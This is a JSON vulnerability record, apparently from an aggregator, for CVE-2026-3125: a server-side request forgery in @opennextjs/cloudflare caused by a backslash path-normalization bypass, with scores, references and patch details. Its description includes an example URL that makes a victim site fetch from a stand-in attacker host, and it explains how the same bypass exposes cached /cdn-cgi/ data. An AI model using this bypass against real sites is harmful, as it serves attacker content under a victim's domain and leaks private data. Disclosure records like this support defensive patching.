{"id":"CVE-2026-3125","published":"2026-03-04T18:14:31Z","modified":"2026-03-04T18:58:56Z","title":"SSRF vulnerability in opennextjs-cloudflare via /cdn-cgi/ path normalization bypass","vendor":"opennextjs","product":"@opennextjs/cloudflare","tier":"tail","description":{"text":"A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.\n\nFor example: \n\n https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com \n\nIn this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.\n\nNote: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.\n\nAdditionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.","provenance":"source","from":"CVE.org"},"cvss":{"score":7.7,"severity":"HIGH","version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N","provenance":"source","from":"CVE.org CNA"},"epss":{"score":0.004,"percentile":0.3516,"provenance":"source"},"cwes":[{"id":"CWE-918","name":"Server-Side Request Forgery"},{"id":"CWE-706","name":"Use of Incorrectly-Resolved Name or Reference"}],"references":[{"url":"https://github.com/opennextjs/opennextjs-cloudflare/pull/1147","tags":["patch"]},{"url":"https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1","tags":["product"]},{"url":"https://github.com/advisories/GHSA-rvpw-p7vw-wj3m","tags":["related"]},{"url":"https://www.cve.org/cverecord?id=CVE-2025-6087","tags":["related"]}],"priority":{"score":12.4,"factors":[{"name":"EPSS percentile","points":7.03},{"name":"CVSS severity","points":5.39}]},"vendorSlug":"opennextjs","affectedVersions":[{"vendor":"opennextjs","product":"@opennextjs/cloudflare","versions":["< 1.17.1"]}],"solutions":{"items":["Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.","In addition to the platform level fix, root cause fix https://github.com/opennextjs/opennextjs-cloudflare/pull/1147 has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 ( https://www.npmjs.com/package/@opennextjs/cloudflare https://www.npmjs.com/package/@opennextjs/cloudflare )","Dependency update https://github.com/opennextjs/opennextjs-cloudflare/pull/1150 to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next."],"from":"CVE.org CNA","provenance":"source"},"capec":[{"id":"CAPEC-664","name":"Server Side Request Forgery"},{"id":"CAPEC-267","name":"Leverage Alternate Encoding"}],"ssvc":{"exploitation":"none","automatable":"yes","technicalImpact":"partial","timestamp":"2026-03-04T18:58:41.207814Z","from":"CISA ADP","provenance":"source"},"affected":[{"ecosystem":"npm","package":"@opennextjs/cloudflare","vulnerableRanges":["<1.17.1"],"patched":["1.17.1"],"from":["GHSA-c7mq-gh6q-6q7c"],"provenance":"source"}],"euvd":{"id":"EUVD-2026-9474","exploited":false,"provenance":"source"},"lineage":{"familyId":"fam-opennextjs-opennextjs-cloudflare-cve-2025-6087","parents":[{"from":"CVE-2025-6087","to":"CVE-2026-3125","relation":"successor","confidence":"high","kind":"lineage","evidence":[{"kind":"osv-related","provenance":"source","id":"GHSA-rvpw-p7vw-wj3m","via":"reference","url":"https://github.com/opennextjs/opennextjs-cloudflare/security/advisories/GHSA-rvpw-p7vw-wj3m"},{"kind":"osv-related","provenance":"source","id":"GHSA-c7mq-gh6q-6q7c","via":"reference","url":"https://github.com/opennextjs/opennextjs-cloudflare/security/advisories/GHSA-c7mq-gh6q-6q7c"},{"kind":"version-step","provenance":"source","package":"npm:@opennextjs/cloudflare","fromFixed":"1.3.0","toFixed":"1.17.1","daysApart":261},{"kind":"same-code","provenance":"machine","files":["packages/cloudflare/src/cli/templates/worker.ts"],"commits":["https://github.com/opennextjs/opennextjs-cloudflare/commit/36119c0f490c95b3d4f6e826d745b728c80625ab","https://github.com/opennextjs/opennextjs-cloudflare/commit/f5bd138fd3c77e02f2aa4b9c76d55681e59e98b4"],"basis":"rarely changed file"},{"kind":"similar","provenance":"machine","score":0.37,"basis":"same package + description similarity"}]}],"packageHistory":[{"cve":"CVE-2025-6087","published":"2025-06-16","fixed":"1.3.0","kev":false},{"cve":"CVE-2026-3125","published":"2026-03-04","fixed":"1.17.1","kev":false},{"cve":"CVE-2026-100409","published":"2026-10-15","fixed":"1.20.2","kev":false,"link":{"from":"CVE-2026-3125","to":"CVE-2026-100409","relation":"successor","confidence":"low","kind":"sequence","evidence":[{"kind":"version-step","provenance":"source","package":"npm:@opennextjs/cloudflare","fromFixed":"1.17.1","toFixed":"1.20.2","daysApart":225}]}}],"package":"npm:@opennextjs/cloudflare"}}